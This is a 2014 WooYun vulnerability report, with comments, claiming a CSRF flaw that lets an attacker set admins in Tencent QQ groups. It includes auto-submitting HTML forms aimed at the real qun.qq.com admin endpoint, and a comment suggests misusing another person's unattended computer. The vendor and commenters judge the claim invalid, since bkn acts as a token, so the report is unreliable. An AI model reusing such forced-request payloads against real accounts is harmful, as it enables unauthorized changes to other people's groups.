当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061514

漏洞标题：腾讯QQ群可csrf任意设置管理员

相关厂商：腾讯

漏洞作者： 小龙

提交时间：2014-05-20 00:23

修复时间：2014-05-20 10:55

公开时间：2014-05-20 10:55

漏洞类型：CSRF

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-20： 细节已通知厂商并且等待厂商处理中
2014-05-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

腾讯，“张嘴吃药”

详细说明：

http://qun.qq.com/manage.html#click

1.png


new？ 新功能？
我们来看看正常流程，我们找一个自己的群，然后设置下
就这个把。。。
网络安全高端研究(237077239)
我要飞的对象是
不经常浮水的
乱飞会挨叼的，o(∩_∩)o
就他把，我们飞了他

2.png


然后Fiddler抓包
看看流程
发现他发送了如下请求

gc

237077239


ul

1092612809


flag

0


bkn

1495574789


然后看了下

3.png


gc=QQ群号
ul=QQ号码
bkn=一串数字(无针对任何验证)
我们试试能不能修改删除某个群的成员，我跨群删除试试(必须要有管理员权限哦o(∩_∩)o 十八岁一下请勿模仿)

4.png


好，就这个吧
猎鹰科技官方群 Q群为：136061686
删除这个“╄→⑤冄戀鯖” QQ为：1071318816

5.png


我们再换回
网络安全高端研究(237077239)
然后随便找一个
修改前：

6.png


修改后：

7.png


8.png


可以看到已经删除鸟。。。。
好神奇
设置管理员也是这个请求，木有token
构造csrf：

<html>
<form name="comer"  action="http://qun.qq.com/cgi-bin/qun_mgr/set_group_admin
" method="POST"> 
<input type="hidden" name="gc" value="QQ群号" />
<input type="hidden" name="ul" value="QQ号码" />
<input type="hidden" name="op" value="1(给予1的待遇，也就是管理员，第一位)" />
<input type="hidden" name="bkn" value="1495574789 (随机参数)" />
<input type="submit" />
</form>
<script>
document.comer.submit();
</script>
</html>


好的，了解完这些我们可以构造csrf来看下是否可以。。。
其实5944和那个什么美国免费空间就可以上传html了-。-
用我自己的群测试把

9.png


我的QQ群是： 285273***
然后我要设置的管理员的QQ是：858757***

10.png


就我一个群主而已，我们构造csrf代码把。。

<html>
<form name="comer"  action="http://qun.qq.com/cgi-bin/qun_mgr/set_group_admin
" method="POST"> 
<input type="hidden" name="gc" value="285273***" />
<input type="hidden" name="ul" value="858757***" />
<input type="hidden" name="op" value="1" />
<input type="hidden" name="bkn" value="1495574789" />
<input type="submit" />
</form>
<script>
document.comer.submit();
</script>
</html>


11.png


我们访问下看看

12.png


算了，由于时间关系我们
随便搞个把

13.png


漏洞证明：

13.png

修复方案：

null

版权声明：转载请注明来源 小龙@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-05-20 10:55

厂商回复：

非常感谢您的报告，经评估该问题并不存在，bkn即token，故此忽略。如果您有任何的疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-20 00:43 | 末笔丶 ( 普通白帽子 | Rank:191 漏洞数:41 | 有阴影的地方必定有光.)

    前排围观龙阔

  2. 2014-05-20 09:00 | 鶆鶈 ( 普通白帽子 | Rank:306 漏洞数:30 )

    有这洞？我记得设置管理员那地都跟着一个啥啥的每个帐号对应的一个唯一参数来着，

  3. 2014-05-20 10:48 | Bird ( 实习白帽子 | Rank:60 漏洞数:25 | Stay hungry. Stay foolish.)

    那么NB？

  4. 2014-05-20 11:05 | 乌云白帽子 ( 路人 | Rank:11 漏洞数:4 | 路人甲)

    忽略？

  5. 2014-05-20 11:20 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    问题并不存在- -

  6. 2014-05-20 11:42 | 繁星点点 ( 路人 | Rank:2 漏洞数:1 | 无)

    牛x的token

  7. 2014-05-20 11:54 | 鬼见愁 ( 路人 | Rank:10 漏洞数:1 | 挖洞之神)

    你自己是管理员当然可以T 你为什么发这么弱智的

  8. 2014-05-20 12:07 | 小秦 ( 路人 | Rank:9 漏洞数:4 )

    你自己是管理员当然可以T 你为什么发这么弱智的

  9. 2014-05-20 12:44 | 郭斯特 ( 普通白帽子 | Rank:181 漏洞数:69 | GhostWin)

    你自己是管理员当然可以T 你为什么发这么弱智的

  10. 2014-05-20 12:58 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    掉节操，审核人员怎么审核的

  11. 2014-05-20 15:24 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    我擦！你自己都是管理员

  12. 2014-05-20 16:23 | Mr.L ( 路人 | Rank:29 漏洞数:2 | 前端工程师)

    小龙，你好叼

  13. 2014-05-20 16:25 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    貌似退出也是直接一个请求退出，我自己的电脑可以退，请求发给别人为什么也会退…… 还有我是来骗关注的~\(≧▽≦)/~

  14. 2014-05-20 16:29 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    另外我也没说越权，大哥们，csrf而已，利用的场景也比较鸡肋，比如妹纸用你家电脑，她去厕所了，你可以抓一下，然后等妹纸去厕所，下了qq，你再点开，直接网页请求一个设置管理员的请求，妹纸就见证奇迹了……

  15. 2014-05-20 16:30 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @鬼见愁 敢问你看没看标题，这不是一个越权，这只是一个测试流程

  16. 2014-05-20 17:08 | Coxxs ( 实习白帽子 | Rank:34 漏洞数:8 | 节操数:233 | ww)

    bkn就是token..不同QQ的bkn是不同的，当然无法造成csrf

  17. 2014-05-20 17:40 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    你自己是管理员当然可以T 你为什么发这么弱智的

  18. 2014-05-20 17:48 | Annabelle ( 实习白帽子 | Rank:46 漏洞数:15 | .)

    我读的书少，你不要骗我。

  19. 2014-05-20 18:18 | Knight ( 实习白帽子 | Rank:38 漏洞数:10 | 刚刚上洗手间，看到一个玉树临风的少年，气...)

    骗子。

  20. 2014-05-20 19:35 | 安然意境 ( 普通白帽子 | Rank:189 漏洞数:79 | 无论是你的事业还是你的个人，可能走的过程...)

    你自己是管理员当然可以T

  21. 2014-05-20 22:38 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    我读的书少，你不要骗我。

  22. 2014-05-20 22:54 | LaiX ( 普通白帽子 | Rank:128 漏洞数:39 | 承接 建站、仿站、维护、反黑客、代码审计...)

    且挖且珍惜

  23. 2014-05-20 22:59 | 银冥币 ( 实习白帽子 | Rank:35 漏洞数:21 | "/upload/avatar/avatar_251_b.jpg" />)

    小龙一开始说的就是Csrf,本来就是要借管理员的权限来进行攻击,所以他自己是不是管理员无所谓

  24. 2014-05-21 00:10 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    @银冥币 标题党了~~如果说QQ群是一个cms，管理员就是cms管理员，请问管理员利用csrf添加个管理员，什么概念？

  25. 2014-05-21 00:14 | dave ( 实习白帽子 | Rank:73 漏洞数:12 | ส้้้้้้้้้้้้้้้้้้้...)

    你自己是管理员当然可以T 你为什么发这么弱智的

  26. 2014-05-21 11:59 | 银冥币 ( 实习白帽子 | Rank:35 漏洞数:21 | "/upload/avatar/avatar_251_b.jpg" />)

    @Mosuan 仔细看看csrf的概念啊,题主应该是想要用自己的管理员权限来假设是别人管理员的权限,然后利用csrf添加,能看懂我的意思吗...

  27. 2014-05-21 12:00 | 银冥币 ( 实习白帽子 | Rank:35 漏洞数:21 | "/upload/avatar/avatar_251_b.jpg" />)

    我感觉楼上很多人的思路都被 鬼见愁 带歪了....

  28. 2014-05-21 12:09 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    @银冥币 你仔细看看他的标题，跟漏洞详情，有说过需要管理员权限吗？如果这也算漏洞，那我也行，不管他修复多少次，除非他真的研究出不发送数据包就能添加管理，个人见解不一样，每个人都有错误的时候，到现在我坚定的认为我说的没错

  29. 2014-05-22 18:02 | 银冥币 ( 实习白帽子 | Rank:35 漏洞数:21 | "/upload/avatar/avatar_251_b.jpg" />)

    @Mosuan 我们试试能不能修改删除某个群的成员，我跨群删除试试(必须要有管理员权限哦o(∩_∩)o 十八岁一下请勿模仿)

  30. 2014-05-22 18:03 | 银冥币 ( 实习白帽子 | Rank:35 漏洞数:21 | "/upload/avatar/avatar_251_b.jpg" />)

    csrf设置管理员帐号,不用管理员帐号测试难道用普通成员帐号测试?

  31. 2014-05-22 23:37 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @银冥币 对，我只是想试试能不能越权直接用固定的一个bkn去设置管理员多次，但是是可以的，bkn能用几次，或者时间限制，有木有过期。我设置了几个群都没问题。。。 蛋碎，迷茫的乌云，测试一下何必要这么喷我= = 无语鸟，人总有失误的一次嘛

  32. 2014-05-22 23:41 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @银冥币 如果说dedecms一个添加的cms，不用管理员权限用啥权限，我看就只有你懂。。 比如普通用户能添加一个超级管理员账户吗？答案是不对的。。。 除了管理员可以添加，其他全部404，我这个比喻恰当吗，哈哈

  33. 2014-05-22 23:42 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @银冥币 说错了，是一个添加的 csrf

  34. 2014-05-25 12:08 | Coxxs ( 实习白帽子 | Rank:34 漏洞数:8 | 节操数:233 | ww)

    @小龙 bkn是根据skey生成的，skey是用来保持你的登录状态的。skey通常来说几小时后是会失效的。如果你能获取到一个人的Cookies，请问还有什么不能做？就像你对别人说，你在这台电脑上登录下，然后他登录了以后你开始用这台电脑设置管理员了一样。

  35. 2014-05-25 12:10 | Coxxs ( 实习白帽子 | Rank:34 漏洞数:8 | 节操数:233 | ww)

    @小龙 顺带，skey是在cookies里的，和cookies里的uin都是用于登录验证的cookies

  36. 2014-05-25 15:51 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @Coxxs 学习了，谢谢！下次会测试好无误再发的，3q，努力学习中O(∩_∩)O

  37. 2014-05-25 16:58 | Coxxs ( 实习白帽子 | Rank:34 漏洞数:8 | 节操数:233 | ww)

    @小龙 嗯，一起学习:）

  38. 2014-05-25 18:43 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @Coxxs 好的，qq可以私聊我吗，求交流〒_〒

  39. 2014-05-27 12:37 | 银冥币 ( 实习白帽子 | Rank:35 漏洞数:21 | "/upload/avatar/avatar_251_b.jpg" />)

    @小龙 太蛋疼,楼上好多人都被 鬼见愁 的回复先入为主了,盲从心理完全没有经过自我思考,都被误导了还不自知

  40. 2014-05-27 23:48 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @银冥币 习惯就好:) 里面确实我没验证好发出来，不过那些被鬼见愁带蒙的人确实需要反省〒_〒